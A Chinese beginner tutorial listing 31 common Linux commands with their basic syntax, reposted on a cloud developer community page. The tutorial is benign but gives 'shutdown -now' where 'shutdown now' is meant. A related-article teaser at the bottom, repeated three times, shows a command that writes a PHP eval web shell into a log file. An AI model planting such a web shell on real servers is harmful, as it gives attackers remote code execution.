学习
实践
活动
专区
工具
TVP
写文章
专栏首页不念博客Linux用户都应该知道的31条常用命令!

Linux用户都应该知道的31条常用命令!

Linux常用命令

哪些是最基本的 Linux 的命令?

经常有读者问我这个问题,我一直试图避免回答这个问题。

为什么呢?我不知道 Linux 命令吗?不是的。这不是原因。而是因为很难对它们进行分类。对我来说必不可少的东西对你来说可能并不重要。

但我想这适用于所有的东西,我们网站上的每一个这样的推荐应用程序列表也都是这样。

这就是为什么我最终放弃了,并创建了这个基本但重要的Linux 命令列表,它应该对作为 Linux 用户的你有所帮助。这更多的是针对 Ubuntu 这样的桌面用户,但如果你把 Ubuntu 作为服务器使用,它们也应该对你有所帮助。

Linux 的基本命令

我在这里列出的每个命令都有多个选项和多种用途。如果我尝试给出每个命令的最常见的例子,它将很容易变成一本超过一万字的口袋书。

我不会详述这些命令中的任何一个。我将列出每个命令的目的及其基本语法。你可以从这些命令的链接教程中阅读更多关于使用这些命令的信息。

还有一件事。我在这里更多地使用了文件夹这个术语,而不是目录

在 Linux 中文件夹被称为目录,有些人可能不喜欢这样。然而,我相信对于初学者来说,这更容易掌握。

1、ls 命令:列出一个文件夹的内容

这是一个新的 Linux 用户最先学会的几个命令之一。这个命令可以让你看到当前文件夹里有哪些文件和文件夹。

ls

你可以使用长列表选项 ls -l来查看细节,如文件大小、权限、修改时间等。如果你想,你可以对这些选项进行排序和控制。

ls -l

ls命令

2、cd 命令:改变目录

默认情况下,你从你的主目录下开始。你经常需要改变目录并移动到另一个目录。

例如,你下载了一个 deb 文件或脚本。现在你想运行它。你可以通过提供完整的路径从你现在的工作目录运行它,但是切换到下载的位置会让事情更简单。

cd命令代表“改变目录change directory”,你可以改变你的位置,移动到另一个目录。

cd命令

在这一点上,我强烈建议阅读关于 Linux 中路径的概念,这样在 Linux 命令行中浏览目录时,事情就容易理解了。

3、cat 命令:读取一个文本文件

如果你想在 Linux 中快速查看一个文本文件的内容,cat是你需要使用的命令。它在屏幕上显示内容。

cat filename

cat命令

你也可以使用 cat命令来创建新的文件或给现有文件添加更多的文本。

4、less 命令:读取一个大的文本文件

cat命令对于查看小的文本文件已经足够了。但是,如果你有一个有数百行的巨大文本文件,我不建议使用cat。它将用所有的文本淹没你的屏幕,而你将很难处理它。

这就是 less命令有用的地方。当你用less打开一个文件时,它会分页打开文件。你可以向上/向下滚动,寻找文本等等。

less命令

一旦你读完了文件,你可以按 Q键退出less视图。你会注意到,屏幕上什么都没有显示。你的屏幕是干净的。

5、touch 命令:创建新文件

在 Linux 终端中,有多种创建新文件的方法。你在上面看到的 cat命令也可以创建新文件。

然而,我更喜欢用 touch命令来实现这一目的。

touch new_file_name

touch命令

如果你对现有的文件使用它,它们的时间戳会被修改。

6、mkdir 命令:创建新的文件夹

虽然没有创建新文件的特定命令,但有一个专门的命令用于创建新的文件夹(或目录,我们在 Linux 中称之为“目录”)。

mkdir new_dir

mkdir命令

7、cp 命令:复制文件和文件夹

在命令行中复制文件和文件夹也是你会遇到的常见任务之一。cp命令是“复制Copy”的简称,用于这一目的。

想象一下,你必须修改一个配置文件。一个聪明的做法是用另一个名字复制该文件。这样一来,你就有了一个文件的备份。

cp existing_file.txt existing_file.back

你也可以使用同样的 cp命令来复制目录。为此,你必须指定递归选项-r

cp -r dir another_location

cp命令

8、mv 命令:剪贴或重命名文件和文件夹

mv命令是 “移动Move” 的意思。当你把一个文件复制到另一个地方时,它仍然保留在原来的地方。

mv命令将文件和文件夹移动到另一个位置。你可以把它看作是一个剪切-粘贴的操作。

mv file.txt /another/location

你也可以使用 mv命令来重命名文件。

mv file.txt new_file.txt

同样的 mv命令也可以移动或重命名文件夹,不需要任何特殊的选项。

mv命令

9、rm 命令:删除文件和文件夹

要在 Linux 终端中删除文件,你可以使用 rm(“删除Remove”的缩写)命令。

rm filename

在命令行中删除文件后,没有撤销选项。这就是为什么你在删除文件时要非常小心。如果你害怕删除错误的文件,可以使用选项 -i的交互式模式,它给你一个额外的提示来确认操作。

rm -i filename

使用递归选项 -r,你也可以使用相同的rm命令来删除文件夹。

rm命令

10、nano 命令:编辑文件

迟早有一天,你会被要求对一个文件的内容进行修改。想象一下,你必须改变 SSH、Grub 或其他一些应用程序的配置文件。

有一些 基于命令行的文本编辑器可以达到这个目的。Ubuntu 预装了 Nano 编辑器,它比 Vim、Emacs 等更容易使用。

如果你好奇它们有什么不同,请阅读我们的Nano vs. Vim 对比文章。

更容易使用并不意味着和基于 GUI 的文本编辑器一样舒适。你将不得不使用键盘快捷键来移动、修改、保存和退出文件。

要用 nano打开一个新的、未命名的文件,请使用:

nano

要在 nano 中编辑一个现有的文件,请使用:

nano filename

在这两种情况下,你都应该看到一个类似这样的界面。

nano命令

要保存(或放弃修改)并退出编辑器界面,请使用 Ctrl+x键。

11、clear 命令:清除终端屏幕

Nano 感觉很复杂,对吗?让我来分享一个简单的命令。

clear命令可以清除终端。就是这样。

clear

你为什么需要这样做呢?嗯,如果你的终端屏幕充斥着随机的东西,而你想做一些新的事情。清理终端就像清理黑板或在你的笔记本上打开一个新页。

12、ps 命令:检查和管理进程

ps命令是用来管理你系统上运行的进程的。每个进程都有一个相关的 ID,称为 PID,它可以用于各种目的,例如终止一个进程。

~$ ps
    pid tty time cmd
  15358 ?        00:00:00 bash
  15404 ? 00:00:00 ps

这里,

  • PID:进程 ID
  • TTY:与进程相关的控制终端(现在已经不那么重要了)
  • TIME:总的 CPU 使用时间
  • CMD:运行该进程的命令名称

但一个系统不可能只运行两到三个进程,不是吗?要查看所有用户运行的所有进程,请使用:

ps aux

这将给出一个庞大的进程列表和关于它们的更多细节。如果你运行这个命令,现在将是使用 clear命令的绝佳时机。

 ps命令

13、top 命令:系统监控

ps命令给你提供了所有正在运行的进程,而top命令给你提供了进程和系统资源消耗的实时视图。

top

把它看作是 Linux 中任务管理器的终端版本。通过 top命令,你会看到很多有趣的细节。

我主要使用 top命令来检查哪个进程占用了太多的 CPU 或内存。如果你有兴趣做实验,还有更好的 top 替代品。

top命令

要 停止运行的 top 命令,请使用Ctrl+C键盘快捷键。

14、lsblk 命令: 列出磁盘和分区

lsblk命令列出了你系统中所有的块设备。用非常简单(技术上不完全准确)的术语来说,它显示的是磁盘和分区。

~# lsblk
NAME    MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0     7:0    0 79.9M  1 loop /snap/lxd/22923
loop1     7:1    0  103M  1 loop /snap/lxd/23541
loop2     7:2    0 63.2M  1 loop /snap/core20/1623
loop3     7:3    0   48M  1 loop /snap/snapd/17336
loop4     7:4    0   48M  1 loop /snap/snapd/17029
loop6     7:6    0 63.2M  1 loop /snap/core20/1634
vda     252:0    0   25G  0 disk 
├─vda1  252:1    0 24.9G  0 part /
├─vda14 252:14   0    4M  0 part 
└─vda15 252:15   0  106M  0 part /boot/efi
vdb     252:16   0  466K  1 disk 
~#

15、fdisk 命令:列出并管理磁盘和分区

另一个类似但更好的命令是 fdisk命令。它可以让你操作磁盘的分区。这意味着你可以用这个命令创建新的分区,删除和调整现有分区的大小。

你还可以用它来列出系统中所有的块设备,包括 回环设备。

sudo fdisk -l

如果你有许多分区、磁盘和回环设备(由 Snap 应用程序创建),输出结果可能是巨大的。我在这里展示的是输出的相关部分:

Disk /dev/vda: 25 GiB, 26843545600 bytes, 52428800 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 0B7C796D-51CD-4DD4-962A-7D94B31690E2

Device      Start      End  Sectors  Size Type
/dev/vda1  227328 52428766 52201439 24.9G Linux filesystem
/dev/vda14   2048    10239     8192    4M BIOS boot
/dev/vda15  10240   227327   217088  106M EFI System

16、find 命令:搜索文件

即使作为一个桌面用户,你也会遇到在 Linux 命令行中搜索文件的情况。

find命令是一个用于此目的的广泛而通用的命令。它有 50 多个选项,而你可能永远不会需要所有的选项。

下面是一个 find命令的例子,它将给你提供当前目录中所有以.txt扩展名结尾的文件。

find . -type f -name "*.txt"

其他常见的例子包括按大小、修改时间等查找文件。你可以 将 find 与 exec或xargs结合起来,对find命令的结果采取行动。例如,你可以寻找所有的.txt文件并选择删除它们。

17、grep 命令:在文件内容中搜索

find命令根据文件的名称和类型来搜索文件。如果你想根据文件的内容进行搜索,你可以使用grep命令。

因此,与其寻找所有以 .txt结尾的文件,不如用grep寻找所有包含文本foss的文件。

grep -ri search_term

grep命令

想学习更多吗?这里有一些更多的 grep 命令示例。方便的grep 速查表应该可以帮助你。

18、kill 命令:终止进程

暴力不是答案……它是解决方案。

开个玩笑!

如果你有一个行为不端的进程,占用了太多的系统资源,你可以 找到它,然后终止它,使用 kill 命令就行。

sudo kill -9 process_ID_or_Name

正如你在上面的命令中看到的,你需要知道进程 ID(PID)或进程名称来终止它。你可以使用 pstop命令来获得 PID或确切的进程名称。

ps aux | grep -i “name of your desired program”

你注意到 grep命令的使用了吗?你已经在利用这个列表中提到的命令了。

kill命令

19、history 命令:回头看看你过去运行了哪些命令

比如,你在几天前使用了一个特定的 Linux 命令。现在你需要再次运行它,但你不能正确地想起它。

你可以按上下方向键。

这对许多 Linux 用户来说是一个熟悉的场景:这就是 history命令的作用。

在 Ubuntu 中,你的 Shell 会保存你所运行的命令的历史。在终端输入 history,你会看到你过去运行的命令的历史。

history命令

你可以选择从历史记录中运行一个条目,使用其编号,像这样。

!number

但即使是历史记录也可能是巨大的,所以(再次)使用 grep命令来过滤你的搜索词。

~$ history | grep aux
 1915  ps aux
 1952  ps aux | grep -i spotify
 1955  ps -aux | grep -i calculator
 1957  ps -aux | grep -i calculator
 1959  ps -aux | grep -i calculator
 1970  history | grep aux

还有一种方法可以进入命令历史并进行搜索。按 Ctrl+R,然后输入搜索词。

20、chmod 命令:改变文件权限

我强烈建议在这个阶段阅读有关 Linux 文件权限。这将有助于你更好地理解,而不是盲目地运行chmod 命令。

chmod(“改变模式change mode”)命令是用来改变文件的权限的。

这个命令最常见的用途是当你想让一个文件可执行时。有一个Shell脚本?像这样让它可执行:

chmod u+x file-executable

还有更多的使用情况,使 chmod成为 Ubuntu 用户必须知道的命令。

有趣的事实chmod 777命令为所有用户提供了所有的权限。这代表了我们的座右铭是 “让每个人都能获得知识”。

21、lshw 命令:获取硬件细节

在 Linux 中,有大量的命令行 和其他系统信息。

可能预装在 Ubuntu 上的是 lshw(“列出硬件list hardware”的缩写)。

现在,默认情况下,它显示了大量关于所有硬件组件的详细信息,相信我,这不是很容易理解。

lshw

你可能会感到在这里使用 grep的诱惑,但没有必要这样做。lshw的输出被分成几类,你可以用它来显示一类硬件的细节。

想知道你的网络适配器的制造商?使用这个:

lshw -C network

lshw命令

22、sudo 命令:以 root 权限运行命令

你一定注意到,我在之前讨论的一些命令中使用了 sudo作为前缀。

默认情况下,在 Ubuntu 中,sudo的配置方式是,它允许你(默认的管理用户)以 root 权限运行任何命令。

你被要求输入一个密码,而且是你的用户账户密码。当你输入密码时,屏幕上没有任何显示。新用户对此感到困惑,但这是 UNIX/Linux 的预期行为。你输入密码并按回车键。

sudo命令

23、apt 命令: 安装、删除和管理 .deb 包

在 Ubuntu 中,apt命令被用来管理软件包。你必须和sudo一起使用它,因为这些是管理任务。

要安装一个软件包,请使用:

sudo apt install package_name

要删除一个安装软件,请使用:

sudo apt remove package_name

要一次性用所有可升级的软件包更新你的 Ubuntu 系统:

sudo apt update && sudo apt upgrade

apt update 和 upgrade 的区别是:update会刷新软件包的缓存,而upgrade则是实际安装更新。

apt命令还有很多内容。你可以阅读 。

24、add-apt-repository 命令:添加和删除 PPA

好吧,这个命令已经不像十年前那么流行了。你仍然会在这里和那里遇到 add-apt-repository 命令。它是用来管理你系统中的 PPA(非官方的、用户生成的软件库)。

在跟随网络上的教程时,你可能会遇到由三行组成的安装说明:

sudo add-apt-repository ppa:dr-akulavich/lighttable
sudo apt update
sudo apt install lighttable-installer

第一个命令是添加 PPA(外部资源库)。你已经熟悉了下面两条,它们用于更新软件包缓存和安装你刚刚添加的 PPA 仓库提供的软件。

要删除一个 PPA,你应该首先删除你从它那里安装的软件,然后像这样删除它:

sudo add-apt-repository -r ppa:dr-akulavich/lighttable

25、snap 命令:安装、删除和管理 Snap 包

到目前为止,你知道 apt 软件包和它们的管理。然而,Ubuntu 也使用并积极推荐使用其 Snap 打包格式。

学习一些基本的 snap命令将帮助你有效地管理这些软件包。

要找到一个软件包,请使用:

snap find search_term

要安装一个软件包,请使用:

sudo snap install package_name

要列出已安装的 Snap 应用程序:

snap list

要删除一个已安装的 Snap 应用程序,请使用:

sudo snap remove package_name

26、ip 命令:检查 IP 地址和其他信息

ip命令可以让你检查你的 IP 地址。你还可以查看和操作路由、网络设备等。

ip a

ip命令

27、ping 命令:检查远程系统是否可达

ping是另一个你应该知道的Linux 网络命令。要检查一个远程系统是否可用,把它的 IP 地址给ping命令:

ping ip_address

你也可以用它来检查一个网站是否关闭,尽管现在它不是很准确。

ping命令

使用 Ctrl+C来停止运行的ping命令。

28、ssh 命令:连接到远程系统

我对把 ssh添加到必须知道的 Linux 命令列表中持怀疑态度。许多桌面用户可能不需要它。SSH 被用于从你的终端连接到其他 Linux系统。

ssh user@address_of_remote_system

当然,你需要知道远程系统的用户和密码。

如果你有云服务器或家庭设置,其中有其他 Linux 系统,你可以用它从你的主系统连接到它们。

29、scp 命令:在远程系统之间复制文件

既然我在列表中包括了 ssh,那么包括一些通过 SSH 连接在远程系统之间传输文件的命令才是公平的。

scp命令的工作原理与你之前看到的cp命令差不多。

下面是一个例子,它把文件从远程系统上的用户的主目录复制到你本地登录系统的当前目录。

scp user@remote_address:/home/username/filename .

30、exit 命令:关闭终端

Linux 的基本命令列表就要结束了。那么让我们来谈谈退出终端的问题。这很简单。只要输入

exit

如果你正在使用另一个用户或 Shell,你就会从那里注销。

你也可以使用 Ctrl+D键来退出终端。

31、shutdown 命令:关闭或重启系统

好了。如果你还没有退出终端,让我分享一个最后的命令。

从命令行中 关闭你的系统怎么样?

使用 shutdown 命令来达到这个目的:

shutdown

上述命令 安排在一分钟内关机。你可以用以下方法让它立即关闭:

shutdown -now

你也可以使用同样的关机命令来 重启你的 Ubuntu 系统。

shutdown -r now

更多:man 命令:详细了解命令

还有一个,这也是最后一个,我保证。所有的 Linux 系统都有一个命令的手册。它被称为手册页,你可以通过以下方式访问已安装命令的手册页:

man command_name

了解手册页对于新用户来说,可能会让人不知所措,但它却很方便。它为你提供了一个命令的通用语法和所有选项的描述。

当你对使用一个命令没有把握时,可以先查看它的手册页,然后再在网上搜索它。

------本页内容已结束,喜欢请分享------

© 版权声明

本站声明 1 本网站名称: 不念博客 2 本站永久网址: www.bunian.cn 3 本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ3493560650进行删除处理。 4 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。 5 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报 6 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。

THE END

Linux命令 # linux# 命令# ubuntu

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!
本文分享自作者个人站点/博客:https://www.bunian.cn复制
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • 每个 Linux 用户都应该知道的 5 个简单的 Bash 历史技巧

    无论您是bash 初学者还是专家,如果不使用超级有用的 bash 历史记录功能,您将无法继续在命令行中工作。

    网络技术联盟站
  • 极客都应该知道的Linux技巧

    是什么区分开普通的Linux用户和超级极客的呢?很简单:用在学习那些使长时工作转变为一瞬间工作的技巧、诀窍、秘诀和技术上的时间。如果你想提高效率而又不用做这些搜...

    FB客服
  • Mac用户都应该知道的16个终端命令

    你喜欢用 Mac 命令行吗?“终端”就是您使用命令行在 Mac 上执行命令的方式。通过在 Utilities 文件夹中找到它或使用 Spotlight 搜索它来...

    Mac精选
  • 每个极客都应该知道的Linux技巧

    检查不是由你运行的程序 难度:高级 应用程序:bash(译注:UNIX或者LINUX的shell) 想象下这个场景-你已经准备好了要和同事在办公室里对战一局快速...

    小小科
  • 每个用户都应该知道的Ubuntu键盘快捷键

    无论使用什么操作系统,键盘快捷键都可以帮助你快速上手,可以在启动应用程序或导航到所需窗口时节省时间和精力。

    用户6543014
  • 设计师都应该知道的8条用户体验法则

    静电说:作为设计师,在设计我们的产品之前,我们需要考虑一些 UX 法则,以确保它们不仅美观而且实用。本文旨在启发设计师有关 UX 法则的知识,帮助他们获得更多的...

    用户5009027
  • 每个linux管理员都应该知道的9个网络命令

    入门笔记
  • 每个开发人员都应该知道的11个Linux命令

    本文主要挑选出读者有必要首先学习的 11 个 Linux 命令,如果不熟悉的读者可以在虚拟机或云服务器上实操下,对于开发人员来说,能熟练掌握 Linux 做一些...

    武培轩
  • 【Linux】用户必须知道的常用终端快捷键

    简介:以下是一些每个 Linux 用户必须使用的键盘快捷键。使用命令行时,这些 Linux 快捷键将提升你的工作效率。

    zenRRan
  • ​Linux基本使用1——你应该知道的linux基本概念和常用命令

    对于 Linux,普通开发者不必像运维工程师那样掌握大量复杂的操作命令,更不用像 Linux内核工程师那样了解精深的 Linux内核,但是掌握一些 Linux的...

    云原生
  • 黑客常用linux入侵常用命令,有你不知道的没?

    [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

    马哥linux运维
  • 黑客常用linux入侵常用命令,有你不知道的没?

    [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

    小小科
  • 黑客常用linux入侵常用命令,有你不知道的没?

    [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

    小小科
  • 每个Linux用户必须知道的10个最常用的Nginx命令

    Nginx(发音为Engine x)是一个免费的,开源的,高性能,可扩展,可靠,功能齐全且流行的HTTP和反向代理服务器,邮件代理服务器和通用TCP/UDP代理...

    星哥玩云
  • Linux系统如何在不知道账号密码的情况下切换用户?

    例如,我们有一个名为postgres的用户帐户(默认的PostgreSQL超级用户系统帐户),我们希望名为postgres的组中的每个用户(通常是我们的Post...

    网络技术联盟站
  • 为什么程序猿都应该学点linux命令?

    大家好,我是xindoo,今天和大家分享下一个我的观点——程序猿都应该学点Linux命令!这也是这两年我做后端开发的切身体会。认识我的人可能都知道,我职业生涯比...

    xindoo
  • 日更第11天:Linux常用命令之chmod用法[通俗易懂]

    大家好,我是胖邰。今天是挑战的第11天,真没想到自己能坚持过半,先表扬一下自己。这次文章主要介绍使用chmod的用法。来吧,让我们一起了解下。

    全栈程序员站长
  • Linux系列教程(十)——Linux文本编辑器vim

      通过前面几篇博客我们终于结束了Linux常用命令的介绍,Linux常用命令主要包括以下:   ①、Linux文件和目录处理命令   ②、Linux链接命令和...

    IT可乐

作者介绍

精选专题

活动推荐

关注

腾讯云开发者公众号
10元无门槛代金券
洞察腾讯核心技术
剖析业界实践案例
腾讯云开发者公众号二维码

扫码关注腾讯云开发者

领取腾讯云代金券